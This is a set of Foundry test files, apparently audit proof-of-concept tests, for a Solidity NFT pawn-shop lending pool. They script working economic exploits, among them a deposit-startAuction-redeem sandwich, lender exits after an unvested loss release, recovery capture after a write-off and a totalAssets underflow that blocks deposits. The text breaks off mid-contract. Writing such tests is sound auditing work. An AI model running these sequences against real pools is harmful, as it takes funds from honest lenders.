// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import {LaunchToken} from "src/LaunchToken.sol";
import {PawnShop} from "src/PawnShop.sol";
import {LendingPool} from "src/LendingPool.sol";
import {OracleAttestation} from "src/OracleAttestation.sol";

contract WETH9Mock is ERC20 {
    constructor() ERC20("Wrapped Ether", "WETH") {}

    function deposit() external payable {
        _mint(msg.sender, msg.value);
    }

    function withdraw(uint256 amount) external {
        _burn(msg.sender, amount);
        (bool ok,) = msg.sender.call{value: amount}("");
        require(ok);
    }
}

contract SeatMock is ERC721 {
    constructor() ERC721("Seat", "SEAT") {}

    function mint(address to, uint256 id) external {
        _mint(to, id);
    }
}

/// A marked expected loss is released at once by startAuction (and restartAuction) through
/// markAuctionLoss(..., mayDecrease = true). Nothing vests that release, unlike settleAuction (F4),
/// so a lender who exits right after startAuction takes the other lenders' share of a loss that is
/// re-marked days later when the Dutch price decays below principal again.
contract AllowanceDropExitTest is Test {
    uint256 internal constant KEY = 0xA11CE;
    bytes32 internal constant FLOOR_QUESTION = 0x71ed43868c5c61fe21b72bbbdcc09913d4952a113a393c526e49f3289edf4be1;
    address internal owner = makeAddr("owner");
    address internal alice = makeAddr("borrower");
    address internal bob = makeAddr("honest lender");
    address internal carol = makeAddr("exiting lender");
    address internal keeper = makeAddr("keeper");
    PawnShop internal shop;
    LendingPool internal pool;
    SeatMock internal nft;
    uint256 internal nonce;

    function setUp() public {
        vm.chainId(1);
        vm.warp(1_800_000_000);
        vm.deal(alice, 10 ether);
        vm.deal(bob, 10 ether);
        vm.deal(carol, 10 ether);
        LaunchToken token = new LaunchToken();
        WETH9Mock weth = new WETH9Mock();
        shop = new PawnShop(owner, address(token), address(weth), vm.addr(KEY));
        pool = shop.lendingPool();
        SeatMock template = new SeatMock();
        vm.etch(shop.IDENTITY_COLLECTION(), address(template).code);
        nft = SeatMock(shop.IDENTITY_COLLECTION());
        vm.prank(owner);
        shop.setNewLoansPaused(false);
    }

    function _floor(uint256 price) internal {
        vm.warp(vm.getBlockTimestamp() + 1);
        OracleAttestation.Attestation memory a;
        a.requestId = keccak256(abi.encode("floor", ++nonce));
        a.chainId = 1;
        a.questionHash = FLOOR_QUESTION;
        a.answerType = 3;
        a.answer = abi.encode(price);
        a.figure = price;
        a.fromBlock = 100;
        a.toBlock = 200;
        a.blockHash = bytes32(uint256(7));
        a.panelJobId = keccak256("panel");
        a.panelSize = 5;
        a.quorum = 4;
        a.agreed = 4;
        a.issuedAt = uint64(vm.getBlockTimestamp());
        a.expiresAt = uint64(vm.getBlockTimestamp() + 24 hours);
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(KEY, shop.attestationDigest(a));
        shop.submitFloor(address(nft), a, abi.encodePacked(r, s, v));
    }

    function test_lenderExitsAtInflatedPriceAfterStartAuctionReleasesAllowance() public {
        // Two equal lenders.
        vm.prank(bob);
        pool.depositETH{value: 5 ether}(bob);
        vm.prank(carol);
        pool.depositETH{value: 5 ether}(carol);

        // Alice borrows 0.4 ETH against a 1 ETH floor for 30 days.
        _floor(1 ether);
        nft.mint(alice, 1);
        vm.startPrank(alice);
        nft.approve(address(shop), 1);
        uint256 id = shop.pawn(address(nft), 1, 0, 0, type(uint256).max);
        vm.stopPrank();

        // The floor halves; at the due date the expected loss 0.4 - 0.25 = 0.15 is booked (F5).
        _floor(0.5 ether);
        vm.warp(shop.getLoan(id).due);
        shop.markOverdue(id);
        assertEq(pool.auctionLoss(id), 0.15 ether);

        vm.warp(shop.getLoan(id).due + 3 days + 1);
        _floor(0.5 ether);
        uint256 carolFairBefore = pool.previewRedeem(pool.balanceOf(carol));
        uint256 bobFairBefore = pool.previewRedeem(pool.balanceOf(bob));

        // Anyone starts the auction: the opening price equals the fresh floor, so the allowance drops to 0
        // at once and totalAssets() jumps by 0.15 ETH with nothing vesting it.
        vm.prank(keeper);
        shop.startAuction(id);
        assertEq(pool.auctionLoss(id), 0);
        assertEq(pool.unvestedRelease(), 0);

        // Carol exits in the next block at the inflated price.
        vm.warp(vm.getBlockTimestamp() + 1);
        uint256 carolShares = pool.balanceOf(carol);
        vm.prank(carol);
        uint256 carolOut = pool.redeemETH(carolShares, carol, carol);
        emit log_named_uint("carol fair value before startAuction", carolFairBefore);
        emit log_named_uint("carol redeemed right after startAuction", carolOut);

        // The price decays to the 0.25 ETH terminal and the same 0.15 ETH loss is re-marked on Bob alone.
        vm.warp(vm.getBlockTimestamp() + 10 days);
        shop.markAuctionLoss(id);
        assertEq(pool.auctionLoss(id), 0.15 ether);
        vm.warp(vm.getBlockTimestamp() + 7 days);
        uint256 bobAfter = pool.previewRedeem(pool.balanceOf(bob));
        emit log_named_uint("bob fair value before startAuction", bobFairBefore);
        emit log_named_uint("bob value after the loss is re-marked", bobAfter);

        // A recognised gap must be shared before a lender exits (README); the release must vest (F4).
        assertLe(carolOut, carolFairBefore + 1, "exiting lender escaped its share of the recognised loss");
        assertGe(bobAfter + 1, bobFairBefore, "remaining lender bears the exiting lender's share of the loss");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import {LaunchToken} from "src/LaunchToken.sol";
import {PawnShop} from "src/PawnShop.sol";
import {LendingPool} from "src/LendingPool.sol";
import {OracleAttestation} from "src/OracleAttestation.sol";

contract WETH9Mock is ERC20 {
    constructor() ERC20("Wrapped Ether", "WETH") {}

    function deposit() external payable {
        _mint(msg.sender, msg.value);
    }

    function withdraw(uint256 amount) external {
        _burn(msg.sender, amount);
        (bool ok,) = msg.sender.call{value: amount}("");
        require(ok);
    }
}

contract SeatMock is ERC721 {
    constructor() ERC721("Seat", "SEAT") {}

    function mint(address to, uint256 id) external {
        _mint(to, id);
    }
}

/// writeOffAuction books the whole principal as a realised loss while the collateral is still in its
/// auction and still sellable. Entry pricing then excludes the recovery entirely, so a buyer who first
/// deposits into the pool gets most of its own purchase price back through receiveRecovery.
contract WriteOffRecoveryCaptureTest is Test {
    uint256 internal constant KEY = 0xA11CE;
    bytes32 internal constant FLOOR_QUESTION = 0x71ed43868c5c61fe21b72bbbdcc09913d4952a113a393c526e49f3289edf4be1;
    address internal owner = makeAddr("owner");
    address internal alice = makeAddr("borrower");
    address internal bob = makeAddr("honest lender");
    address internal carol = makeAddr("buyer-depositor");
    PawnShop internal shop;
    LendingPool internal pool;
    SeatMock internal nft;
    uint256 internal nonce;

    function setUp() public {
        vm.chainId(1);
        vm.warp(1_800_000_000);
        vm.deal(alice, 10 ether);
        vm.deal(bob, 10 ether);
        vm.deal(carol, 10 ether);
        LaunchToken token = new LaunchToken();
        WETH9Mock weth = new WETH9Mock();
        shop = new PawnShop(owner, address(token), address(weth), vm.addr(KEY));
        pool = shop.lendingPool();
        SeatMock template = new SeatMock();
        vm.etch(shop.IDENTITY_COLLECTION(), address(template).code);
        nft = SeatMock(shop.IDENTITY_COLLECTION());
        vm.prank(owner);
        shop.setNewLoansPaused(false);
    }

    function _floor(uint256 price) internal {
        vm.warp(vm.getBlockTimestamp() + 1);
        OracleAttestation.Attestation memory a;
        a.requestId = keccak256(abi.encode("floor", ++nonce));
        a.chainId = 1;
        a.questionHash = FLOOR_QUESTION;
        a.answerType = 3;
        a.answer = abi.encode(price);
        a.figure = price;
        a.fromBlock = 100;
        a.toBlock = 200;
        a.blockHash = bytes32(uint256(7));
        a.panelJobId = keccak256("panel");
        a.panelSize = 5;
        a.quorum = 4;
        a.agreed = 4;
        a.issuedAt = uint64(vm.getBlockTimestamp());
        a.expiresAt = uint64(vm.getBlockTimestamp() + 24 hours);
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(KEY, shop.attestationDigest(a));
        shop.submitFloor(address(nft), a, abi.encodePacked(r, s, v));
    }

    function test_buyerDepositsAfterWriteOffAndRecoversMostOfItsOwnPrice() public {
        vm.prank(bob);
        pool.depositETH{value: 5 ether}(bob);
        _floor(1 ether);
        nft.mint(alice, 1);
        vm.startPrank(alice);
        nft.approve(address(shop), 1);
        uint256 id = shop.pawn(address(nft), 1, 0, 0, type(uint256).max);
        vm.stopPrank();

        vm.warp(shop.getLoan(id).due + 3 days + 1);
        _floor(1 ether);
        shop.startAuction(id);
        vm.warp(vm.getBlockTimestamp() + 40 days);
        uint256 bobBeforeWriteOff = pool.previewRedeem(pool.balanceOf(bob));
        shop.writeOffAuction(id); // principal 0.4 booked as loss; NFT still in auction at 0.5 ETH
        uint256 bobAfterWriteOff = pool.previewRedeem(pool.balanceOf(bob));
        emit log_named_uint("bob before write-off", bobBeforeWriteOff);
        emit log_named_uint("bob after write-off", bobAfterWriteOff);

        // Carol deposits at the written-down price (cap room: 10 - ~4.61), then buys the NFT at 0.5 ETH.
        vm.prank(carol);
        pool.depositETH{value: 5 ether}(carol);
        uint256 price = shop.auctionPrice(id);
        vm.prank(carol);
        shop.buyAuction{value: price}(id, carol);
        assertEq(nft.ownerOf(1), carol);
        assertEq(pool.cumulativeRecoveries(), 0.4 ether);

        vm.warp(vm.getBlockTimestamp() + 7 days); // recovery vests
        uint256 carolShares = pool.previewRedeem(pool.balanceOf(carol));
        uint256 bobFinal = pool.previewRedeem(pool.balanceOf(bob));
        emit log_named_uint("price carol paid", price);
        emit log_named_uint("carol share value after vesting", carolShares);
        emit log_named_uint("carol net cost of the NFT", price - (carolShares - 5 ether));
        emit log_named_uint("bob final", bobFinal);
        emit log_named_uint("bob recovery kept", bobFinal - bobAfterWriteOff);
        // Bob bore the full 0.4 ETH write-off and the NFT then sold for more than principal, so the
        // recovery should make him whole; instead most of it goes to the buyer's fresh deposit.
        assertGe(bobFinal + 1, bobBeforeWriteOff, "lender who bore the write-off is not made whole by the recovery");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import {LaunchToken} from "src/LaunchToken.sol";
import {PawnShop} from "src/PawnShop.sol";
import {LendingPool} from "src/LendingPool.sol";
import {OracleAttestation, OracleAttestationConsumer} from "src/OracleAttestation.sol";

contract WETH9Mock is ERC20 {
    constructor() ERC20("Wrapped Ether", "WETH") {}

    function deposit() external payable {
        _mint(msg.sender, msg.value);
    }

    function withdraw(uint256 amount) external {
        _burn(msg.sender, amount);
        (bool ok,) = msg.sender.call{value: amount}("");
        require(ok);
    }
}

contract SeatMock is ERC721 {
    constructor() ERC721("Seat", "SEAT") {}

    function mint(address to, uint256 id) external {
        _mint(to, id);
    }
}

/// @notice startAuction lowers the loss allowance marked by markOverdue in one step (mayDecrease = true),
/// so the share price jumps up instantly. A depositor who enters just before and redeems just after captures
/// the jump from the lenders who bore the loss, exactly what the F4 vesting was meant to prevent.
contract AllowanceDecreaseSandwichTest is Test {
    uint256 internal constant KEY = 0xA11CE;
    bytes32 internal constant FLOOR_QUESTION = 0x71ed43868c5c61fe21b72bbbdcc09913d4952a113a393c526e49f3289edf4be1;
    address internal owner = makeAddr("owner");
    address internal alice = makeAddr("borrower");
    address internal bob = makeAddr("lender");
    address internal attacker = makeAddr("attacker");
    LaunchToken internal token;
    WETH9Mock internal weth;
    SeatMock internal nft;
    PawnShop internal shop;
    LendingPool internal pool;
    uint256 internal nonce;

    function setUp() public {
        vm.chainId(1);
        vm.warp(1_800_000_000);
        vm.deal(alice, 100 ether);
        vm.deal(bob, 100 ether);
        vm.deal(attacker, 100 ether);
        token = new LaunchToken();
        weth = new WETH9Mock();
        shop = new PawnShop(owner, address(token), address(weth), vm.addr(KEY));
        pool = shop.lendingPool();
        SeatMock template = new SeatMock();
        vm.etch(shop.IDENTITY_COLLECTION(), address(template).code);
        nft = SeatMock(shop.IDENTITY_COLLECTION());
        vm.prank(owner);
        shop.setNewLoansPaused(false);
        vm.prank(bob);
        pool.depositETH{value: 5 ether}(bob);
    }

    function _floor(uint256 price) internal {
        OracleAttestation.Attestation memory a;
        a.requestId = keccak256(abi.encode("scratch", ++nonce));
        a.chainId = 1;
        a.questionHash = FLOOR_QUESTION;
        a.answerType = 3;
        a.answer = abi.encode(price);
        a.figure = price;
        a.fromBlock = 100;
        a.toBlock = 200;
        a.blockHash = bytes32(uint256(7));
        a.panelJobId = keccak256("panel");
        a.panelSize = 5;
        a.quorum = 4;
        a.agreed = 4;
        a.issuedAt = uint64(vm.getBlockTimestamp());
        a.expiresAt = uint64(vm.getBlockTimestamp() + 24 hours);
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(KEY, shop.attestationDigest(a));
        shop.submitFloor(address(nft), a, abi.encodePacked(r, s, v));
    }

    function test_sandwichStartAuctionCapturesLenderAllowance() public {
        // Floor 1 ETH, 40% LTV: a 0.4 ETH loan on a 30-day term.
        _floor(1 ether);
        nft.mint(alice, 1);
        vm.startPrank(alice);
        nft.approve(address(shop), 1);
        uint256 id = shop.pawn(address(nft), 1, 0, 0, type(uint256).max);
        vm.stopPrank();

        // The floor halves and the borrower defaults: anyone books loss = 0.4 - min(0.4, 0.5 / 2) = 0.15 ETH.
        vm.warp(vm.getBlockTimestamp() + 30 days);
        _floor(0.5 ether);
        shop.markOverdue(id);
        assertEq(pool.auctionLoss(id), 0.15 ether);

        // Grace over. Fresh floor so startAuction is allowed.
        vm.warp(vm.getBlockTimestamp() + 3 days + 1);
        _floor(0.5 ether);
        uint256 bobBefore = pool.previewRedeem(pool.balanceOf(bob));

        // Atomic sandwich: deposit, start the auction (allowance drops 0.15 -> 0 instantly), redeem.
        vm.startPrank(attacker);
        uint256 shares = pool.depositETH{value: 4 ether}(attacker);
        shop.startAuction(id);
        uint256 out = pool.redeemETH(shares, attacker, attacker);
        vm.stopPrank();

        // A deposit that spans no time must not earn anything from the existing lenders.
        assertLe(out, 4 ether, "instant deposit/redeem captured the released allowance");
        // The loss is re-marked on the remaining lender once the Dutch price falls.
        vm.warp(vm.getBlockTimestamp() + 10 days);
        shop.markAuctionLoss(id);
        assertGe(pool.previewRedeem(pool.balanceOf(bob)), bobBefore, "lender lost value to the sandwich");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import {LaunchToken} from "src/LaunchToken.sol";
import {PawnShop} from "src/PawnShop.sol";
import {LendingPool} from "src/LendingPool.sol";
import {OracleAttestation, OracleAttestationConsumer} from "src/OracleAttestation.sol";

contract WETH9Mock is ERC20 {
    constructor() ERC20("Wrapped Ether", "WETH") {}

    function deposit() external payable {
        _mint(msg.sender, msg.value);
    }

    function withdraw(uint256 amount) external {
        _burn(msg.sender, amount);
        (bool ok,) = msg.sender.call{value: amount}("");
        require(ok);
    }
}

contract SeatMock is ERC721 {
    constructor() ERC721("Seat", "SEAT") {}

    function mint(address to, uint256 id) external {
        _mint(to, id);
    }
}

/// @notice totalAssets() subtracts the unvested F4 release on top of max(reserve, expectedAuctionLoss).
/// Nothing bounds that release by the cash and outstanding principal that remain after lenders withdraw
/// the idle balance, so marking the remaining loans as lost makes the subtraction underflow and every
/// function that reads totalAssets() reverts until the release has vested (up to 7 days).
contract TotalAssetsUnderflowTest is Test {
    uint256 internal constant KEY = 0xA11CE;
    bytes32 internal constant FLOOR_QUESTION = 0x71ed43868c5c61fe21b72bbbdcc09913d4952a113a393c526e49f3289edf4be1;
    address internal owner = makeAddr("owner");
    address internal alice = makeAddr("borrower");
    address internal bob = makeAddr("lender");
    address internal carol = makeAddr("new lender");
    LaunchToken internal token;
    WETH9Mock internal weth;
    SeatMock internal nft;
    PawnShop internal shop;
    LendingPool internal pool;
    uint256 internal nonce;

    function setUp() public {
        vm.chainId(1);
        vm.warp(1_800_000_000);
        vm.deal(alice, 100 ether);
        vm.deal(bob, 100 ether);
        vm.deal(carol, 100 ether);
        token = new LaunchToken();
        weth = new WETH9Mock();
        shop = new PawnShop(owner, address(token), address(weth), vm.addr(KEY));
        pool = shop.lendingPool();
        SeatMock template = new SeatMock();
        vm.etch(shop.IDENTITY_COLLECTION(), address(template).code);
        nft = SeatMock(shop.IDENTITY_COLLECTION());
        vm.prank(owner);
        shop.setNewLoansPaused(false);
        vm.prank(bob);
        pool.depositETH{value: 5 ether}(bob);
    }

    function _floor(uint256 price) internal {
        OracleAttestation.Attestation memory a;
        a.requestId = keccak256(abi.encode("scratch", ++nonce));
        a.chainId = 1;
        a.questionHash = FLOOR_QUESTION;
        a.answerType = 3;
        a.answer = abi.encode(price);
        a.figure = price;
        a.fromBlock = 100;
        a.toBlock = 200;
        a.blockHash = bytes32(uint256(7));
        a.panelJobId = keccak256("panel");
        a.panelSize = 5;
        a.quorum = 4;
        a.agreed = 4;
        a.issuedAt = uint64(vm.getBlockTimestamp());
        a.expiresAt = uint64(vm.getBlockTimestamp() + 24 hours);
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(KEY, shop.attestationDigest(a));
        shop.submitFloor(address(nft), a, abi.encodePacked(r, s, v));
    }

    function _pawn(uint256 tokenId) internal returns (uint256 id) {
        nft.mint(alice, tokenId);
        vm.startPrank(alice);
        nft.approve(address(shop), tokenId);
        id = shop.pawn(address(nft), tokenId, 1, 0, type(uint256).max);
        vm.stopPrank();
    }

    function test_totalAssetsUnderflowsAfterReleaseWithdrawalAndLoss() public {
        // Loan A: floor 2.5 ETH -> 1 ETH principal. Loan B: floor 5 ETH -> 2 ETH principal. 7-day terms.
        _floor(2.5 ether);
        uint256 a = _pawn(1);
        vm.warp(vm.getBlockTimestamp() + 1);
        _floor(5 ether);
        uint256 b = _pawn(2);
        assertEq(pool.totalBorrowed(), 3 ether);

        // Both due. The floor collapses; loan A is marked (loss 1 ETH) and then repaid in full,
        // which releases that 1 ETH allowance as a 7-day vesting stream (F4).
        vm.warp(vm.getBlockTimestamp() + 7 days);
        _floor(1);
        shop.markOverdue(a);
        assertEq(pool.auctionLoss(a), 1 ether);
        vm.prank(alice);
        shop.repay{value: 1 ether}(a);
        assertEq(pool.unvestedRelease(), 1 ether);

        // The lender withdraws what is idle, as any lender may.
        vm.startPrank(bob);
        uint256 shares = pool.maxRedeem(bob);
        pool.redeemETH(shares, bob, bob);
        vm.stopPrank();
        assertLt(pool.idleAssets(), 1e9, "idle cash should be dust after the withdrawal");

        // Anyone marks loan B overdue: loss 2 ETH = all outstanding principal.
        shop.markOverdue(b);
        assertEq(pool.expectedAuctionLoss(), 2 ether);

        // cash(dust) + borrowed(2) - max(0, 2) - unvestedRelease(1) < 0: this must not revert.
        uint256 assets = pool.totalAssets();
        assertLe(assets, 3 ether);

        // And the pool must keep accepting deposits (maxDeposit/previewDeposit read totalAssets too).
        vm.prank(carol);
        pool.depositETH{value: 1 ether}(carol);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import {LaunchToken} from "src/LaunchToken.sol";
import {PawnShop} from "src/PawnShop.sol";
import {LendingPool} from "src/LendingPool.sol";
import {OracleAttestation, OracleAttestationConsumer} from "src/OracleAttestation.sol";

contract ScratchWETH is ERC20 {
    constructor() ERC20("Wrapped Ether", "WETH") {}

    function deposit() external payable {
        _mint(msg.sender, msg.value);
    }

    function withdraw(uint256 amount) external {
        _burn(msg.sender, amount);
        (bool ok,) = msg.sender.call{value: amount}("");
        require(ok);
    }
}

contract ScratchNFT is ERC721 {
    constructor() ERC721("Seat", "SEAT") {}

    function mint(address to, uint256 id) external {
        _mint(to, id);
    }
}

/// @notice A transient depositor extracts the expected-loss allowance that `startAuction` releases
/// instantly through `LendingPool.markAuctionLoss(mayDecrease = true)`, which bypasses the F4 vesting
/// that `settleAuction` applies to the same kind of release. Expected: an entry/exit around a
/// permissionless loss decrease earns nothing. Actual: the attacker leaves with more ETH than deposited
/// and the long-term lender's share value drops by the same amount.
contract AllowanceDecreaseSandwichTest is Test {
    uint256 internal constant KEY = 0xA11CE;
    bytes32 internal constant FLOOR_QUESTION = 0x71ed43868c5c61fe21b72bbbdcc09913d4952a113a393c526e49f3289edf4be1;

    address internal owner = makeAddr("owner");
    address internal alice = makeAddr("borrower");
    address internal bob = makeAddr("lender");
    address internal attacker = makeAddr("attacker");

    LaunchToken internal token;
    ScratchWETH internal weth;
    ScratchNFT internal nft;
    PawnShop internal shop;
    LendingPool internal pool;
    uint256 internal oracleNonce;

    function setUp() public {
        vm.chainId(1);
        vm.warp(1_800_000_000);
        vm.deal(alice, 100 ether);
        vm.deal(bob, 100 ether);
        vm.deal(attacker, 100 ether);
        token = new LaunchToken();
        weth = new ScratchWETH();
        shop = new PawnShop(owner, address(token), address(weth), vm.addr(KEY));
        pool = shop.lendingPool();
        ScratchNFT template = new ScratchNFT();
        vm.etch(shop.IDENTITY_COLLECTION(), address(template).code);
        nft = ScratchNFT(shop.IDENTITY_COLLECTION());
        _floor(1 ether);
        vm.prank(owner);
        shop.setNewLoansPaused(false);
        vm.prank(bob);
        pool.depositETH{value: 5 ether}(bob);
    }

    function _attestation(uint256 value) internal returns (OracleAttestation.Attestation memory a) {
        a.requestId = keccak256(abi.encode("scratch oracle", ++oracleNonce));
        a.chainId = 1;
        a.questionHash = FLOOR_QUESTION;
        a.answerType = 3;
        a.answer = abi.encode(value);
        a.figure = value;
        a.fromBlock = 100;
        a.toBlock = 200;
        a.blockHash = bytes32(uint256(7));
        a.panelJobId = keccak256("scratch panel");
        a.panelSize = 5;
        a.quorum = 4;
        a.agreed = 4;
        a.issuedAt = uint64(vm.getBlockTimestamp());
        a.expiresAt = uint64(vm.getBlockTimestamp() + 24 hours);
    }

    function _floor(uint256 price) internal {
        OracleAttestation.Attestation memory a = _attestation(price);
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(KEY, shop.attestationDigest(a));
        shop.submitFloor(address(nft), a, abi.encodePacked(r, s, v));
    }

    function test_transientDepositorCannotCaptureInstantLossDecrease() public {
        // Alice borrows 0.4 ETH (40% of a 1 ETH floor) for 30 days.
        nft.mint(alice, 1);
        vm.startPrank(alice);
        nft.approve(address(shop), 1);
        uint256 id = shop.pawn(address(nft), 1, 0, 0, type(uint256).max);
        vm.stopPrank();
        PawnShop.Loan memory loan = shop.getLoan(id);
        assertEq(loan.principal, 0.4 ether);

        // The floor halves and the loan goes overdue: anyone books the expected loss against floor / 2.
        vm.warp(loan.due);
        _floor(0.5 ether);
        shop.markOverdue(id);
        assertEq(pool.auctionLoss(id), 0.15 ether);
        assertEq(pool.expectedAuctionLoss(), 0.15 ether);

        uint256 bobBefore = pool.previewRedeem(pool.balanceOf(bob));

        // Attacker enters at the depressed price during the grace period.
        uint256 deposited = 5 ether;
        vm.prank(attacker);
        uint256 shares = pool.depositETH{value: deposited}(attacker);

        // After the grace period, the attacker starts the auction: the loss allowance drops from 0.15 ETH
        // to 0 in the same call, and the whole drop lands in share value immediately (no vesting).
        vm.warp(loan.due + shop.GRACE() + 1);
        _floor(0.5 ether);
        vm.prank(attacker);
        shop.startAuction(id);
        assertEq(pool.auctionLoss(id), 0);

        // Attacker exits in the very next call.
        vm.prank(attacker);
        pool.redeemETH(shares, attacker, attacker);
        uint256 withdrawn = pool.claimable(attacker);

        uint256 bobAfter = pool.previewRedeem(pool.balanceOf(bob));

        // Expected: a deposit-and-exit around a permissionless loss decrease yields no profit, and the
        // long-term lender keeps the released allowance. Actual on this code: attacker gains ~0.076 ETH
        // and bob's redeemable value grows by only ~0.074 of the 0.15 ETH that was released.
        assertLe(withdrawn, deposited, "transient depositor extracted the released loss allowance");
        assertGe(bobAfter, bobBefore + 0.14 ether, "long-term lender lost the released allowance");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {LaunchToken} from "src/LaunchToken.sol";
import {PawnShop} from "src/PawnShop.sol";
import {LendingPool} from "src/LendingPool.sol";
import {OracleAttestation} from "src/OracleAttestation.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";

contract WETH9Mock is ERC20 {
    constructor() ERC20("Wrapped Ether", "WETH") {}

    function deposit() external payable {
        _mint(msg.sender, msg.value);
    }

    function withdraw(uint256 amount) external {
        _burn(msg.sender, amount);
        (bool ok,) = msg.sender.call{value: amount}("");
        require(ok);
    }
}

contract SeatMock is ERC721 {
    constructor() ERC721("Seat", "SEAT") {}

    function mint(address to, uint256 id) external {
        _mint(to, id);
    }
}

contract ExtendKeepsOverdueLossTest is Test {
    uint256 internal constant KEY = 0xA11CE;
    bytes32 internal constant FLOOR_QUESTION = 0x71ed43868c5c61fe21b72bbbdcc09913d4952a113a393c526e49f3289edf4be1;
    address internal owner = makeAddr("owner");
    address internal alice = makeAddr("borrower");
    address internal bob = makeAddr("lender");
    LaunchToken internal token;
    WETH9Mock internal weth;
    SeatMock internal nft;
    PawnShop internal shop;
    LendingPool internal pool;
    uint256 internal nonce;

    function setUp() public {
        vm.chainId(1);
        vm.warp(1_800_000_000);
        vm.deal(alice, 100 ether);
        vm.deal(bob, 100 ether);
        token = new LaunchToken();
        weth = new WETH9Mock();
        shop = new PawnShop(owner, address(token), address(weth), vm.addr(KEY));
        pool = shop.lendingPool();
        SeatMock template = new SeatMock();
        vm.etch(shop.IDENTITY_COLLECTION(), address(template).code);
        nft = SeatMock(shop.IDENTITY_COLLECTION());
        _floor(1 ether);
        vm.prank(owner);
        shop.setNewLoansPaused(false);
        vm.prank(bob);
        pool.depositETH{value: 5 ether}(bob);
    }

    function _floor(uint256 price) internal {
        OracleAttestation.Attestation memory a;
        a.requestId = keccak256(abi.encode("scratch", ++nonce));
        a.chainId = 1;
        a.questionHash = FLOOR_QUESTION;
        a.answerType = 3;
        a.answer = abi.encode(price);
        a.figure = price;
        a.fromBlock = 100;
        a.toBlock = 200;
        a.blockHash = bytes32(uint256(7));
        a.panelJobId = keccak256("panel");
        a.panelSize = 5;
        a.quorum = 4;
        a.agreed = 4;
        a.issuedAt = uint64(vm.getBlockTimestamp());
        a.expiresAt = uint64(vm.getBlockTimestamp() + 26 hours);
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(KEY, shop.attestationDigest(a));
        shop.submitFloor(address(nft), a, abi.encodePacked(r, s, v));
    }

    function test_extendDoesNotClearTheOverdueMark() public {
        nft.mint(alice, 1);
        vm.startPrank(alice);
        nft.approve(address(shop), 1);
        uint256 id = shop.pawn(address(nft), 1, 0, 0, type(uint256).max);
        vm.stopPrank();
        vm.warp(shop.getLoan(id).due);
        _floor(0.2 ether);
        shop.markOverdue(id);
        assertEq(pool.auctionLoss(id), 0.3 ether);
        uint256 healthy = pool.totalAssets() + 0.3 ether;
        vm.warp(vm.getBlockTimestamp() + 1);
        _floor(1 ether);
        vm.prank(alice);
        shop.extend{value: 0.012 ether}(id, 0);
        assertGt(shop.getLoan(id).due, vm.getBlockTimestamp() + 29 days);
        assertTrue(shop.loanActive(id));
        assertEq(pool.auctionLoss(id), 0, "overdue mark survives extend");
        assertEq(pool.expectedAuctionLoss(), 0, "expected loss survives extend");
        assertGe(pool.totalAssets() + 1, healthy, "share value stays depressed after extend");
    }

    function test_lenderExitingDuringExtendedTermLosesTheMarkedAmount() public {
        nft.mint(alice, 1);
        vm.startPrank(alice);
        nft.approve(address(shop), 1);
        uint256 id = shop.pawn(address(nft), 1, 0, 0, type(uint256).max);
        vm.stopPrank();
        vm.warp(shop.getLoan(id).due);
        _floor(0.2 ether);
        shop.markOverdue(id);
        vm.warp(vm.getBlockTimestamp() + 1);
        _floor(1 ether);
        vm.prank(alice);
        shop.extend{value: 0.012 ether}(id, 0);
        vm.warp(vm.getBlockTimestamp() + 20 days);
        uint256 shares = pool.maxRedeem(bob);
        vm.prank(bob);
        uint256 got = pool.redeemETH(shares, bob, bob);
        assertGe(got, 4.9 ether, "lender exit priced on a phantom loss");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {LaunchToken} from "src/LaunchToken.sol";
import {PawnShop} from "src/PawnShop.sol";
import {LendingPool} from "src/LendingPool.sol";
import {OracleAttestation} from "src/OracleAttestation.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";

contract WETH9Mock is ERC20 {
    constructor() ERC20("Wrapped Ether", "WETH") {}

    function deposit() external payable {
        _mint(msg.sender, msg.value);
    }

    function withdraw(uint256 amount) external {
        _burn(msg.sender, amount);
        (bool ok,) = msg.sender.call{value: amount}("");
        require(ok);
    }
}

contract SeatMock is ERC721 {
    constructor() ERC721("Seat", "SEAT") {}

    function mint(address to, uint256 id) external {
        _mint(to, id);
    }
}

contract PreSettlementDepositCapturesReleaseTest is Test {
    uint256 internal constant KEY = 0xA11CE;
    bytes32 internal constant FLOOR_QUESTION = 0x71ed43868c5c61fe21b72bbbdcc09913d4952a113a393c526e49f3289edf4be1;
    address internal owner = makeAddr("owner");
    address internal alice = makeAddr("borrower");
    address internal bob = makeAddr("lender");
    LaunchToken internal token;
    WETH9Mock internal weth;
    SeatMock internal nft;
    PawnShop internal shop;
    LendingPool internal pool;
    uint256 internal nonce;

